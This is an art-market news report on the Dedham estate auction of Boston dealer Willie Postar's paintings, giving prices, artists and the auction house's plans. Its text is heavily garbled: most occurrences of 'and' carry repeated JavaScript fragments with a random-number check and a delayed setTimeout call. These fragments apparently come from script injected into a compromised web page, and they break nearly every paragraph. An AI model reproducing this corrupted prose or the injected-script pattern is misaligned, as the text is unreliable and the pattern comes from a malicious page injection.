By: Laura Beach

DEDHAM, MASS. — Many of those who showed up at Grogan & Company on October 26 for the sale of the estate of Willie Postar knew the Boston dealer, a fixture of the Charles Street art trade for many years. The old-time dealer, who died at age 81 in 2006, is remembered as a voracious buyer andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and salesroom denizen who worked hard andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and kept sight of the bottom line.

As Michael B. Grogan, president of Grogan & Company, recounted, “Willie Postar standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands out as one of my earliest client memories. I took an immediate liking to Willie andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and looked forward to his visits to our paintings exhibitions on Commonwealth Avenue. He was never at a loss for words. We would sit together for hours over lengthy conversations as I absorbed his anecdotes andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sage advice. I watched Willie look at paintings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and took note of what he bid on andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and purchased. Willie had a ‘smart’ eye andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and I learned a great deal by bird-dogging him. Willie was the last of a breed of self-taught, pre-Internet, highly confident paintings buyers who bought low with the aim to sell high. A Dickensian character, perhaps, but one with a warm heart andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a twinkle in his eye.”

Postar’s remaining inventory, 412 lots of mostly Nineteenth andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Twentieth Century American andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and European paintings, achieved $820,425 with premium. While no lot exceeded $30,000, bidding was competitive andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and most pieces surpassed estimate. Grogan appears to have set auction records on several mid- to late Twentieth Century painters who, in terms of the market, are only beginning to come into their own.

“One of the most interesting things about Willie is that he was self-taught. We are so dependent on devices andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and online data sources today. My father is always telling me to put that away andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and really look at a painting. Willie was a champion of that kind of looking,” said Lucy P. Grogan, who joined her parents in the family business after apprenticing with Jackson Hole Art Auction andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Trailside Galleries in Wyoming. She has already proven herself a rising talent at the podium.

Intern Elizabeth A. Grab was credited with Grogan’s highly effective salon-style presentation of the Postar paintings, which lined every wall of the four-gallery salesroom. Judging from the miscellany offered, Postar’s tastes were eclectic. In only a few instances did he have multiple examples of the work of one artist. There were, for instance, 28 selections by the painter some call the American Degas, Louis Kronberg (1872–1965).

“Kronberg has been pretty soft but we got top of the market prices,” said Lucy Grogan. Among the Kronberg canvases, “A Reclining Nude” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Ballerina Lacing Up” each fetched $7,920. Prices include buyer’s premium.

The day’s top lot was one about which there was little official knowledge, a large oil on canvas view of the Tower of Babel, artist unknown. Cataloged as a Seventeenth Century European example, it sold for $28,125.

“For its age, it’s a real tour de force,” said Lucy Grogan.

Postar seems to have liked paintings with well-documented exhibition histories, a feature common to two of the day’s top canvases, both Twentieth Century works by well-regarded artists whose work has yet to appreciate in value. Some earlier paintings bore the label of William Vareika Fine Arts in Newport, R.I., with whom Postar is said to have done business after he closed his own shop on Charles Street.

One would like to think that the preelection timing of the auction contributed to the success of the scathing political satire, “The Washington Circus,” by Dong Moy Chu Kingman, $24,480. In fact, more personal factors were at work. Present in the room, the determined buyer grew up with the painting, but, having lost touch with it for nearly two decades, was determined to buy it back. Born in California but of Chinese descent, Kingman was a project artist for the WPA andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Guggenheim fellow whose paintings are in museum collections around the country.

There was a flurry of interest, said Michael Grogan, in “The Slaughtered Animal,” $19,200, an oil on canvas of 1953 by Hyman Bloom, a Boston artist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and proto-Abstract Expressionist whose work the Museum of Modern Art acquired in the 1940s but who has not yet received his full due.

The cover lot, at $16,800, was a voluptuous nude portrait of Bathsheba by Robert Hale Ives Gammell. The Boston artist — who studied with William Paxton, among others — completed the extensively exhibited canvas in 1931 after a working tour of Europe andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the Middle East.

The Postar sale represented the end of an era in another way. On December 14, Grogan will host its inaugural auction at its new headquarters at 20 Charles Street in Boston’s Beacon Hill neighborhood. The refurbished space was previously home to the French antiques shop A Room with A Vieux, whose contents Grogan auctioned in April. The December Auction will include fine art, jewelry, silver, decorative arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Oriental rugs andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and carpets.

Grogan, which plans to keep its larger Dedham space, at least initially, is adjusting its strategy to reflect the current marketplace.

“We will be focusing on smaller, higher value objects such as paintings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and jewelry, the market for which remains strong here in Boston,” said Lucy Grogan.

For additional information, www.groganco.com or 781-461-9500.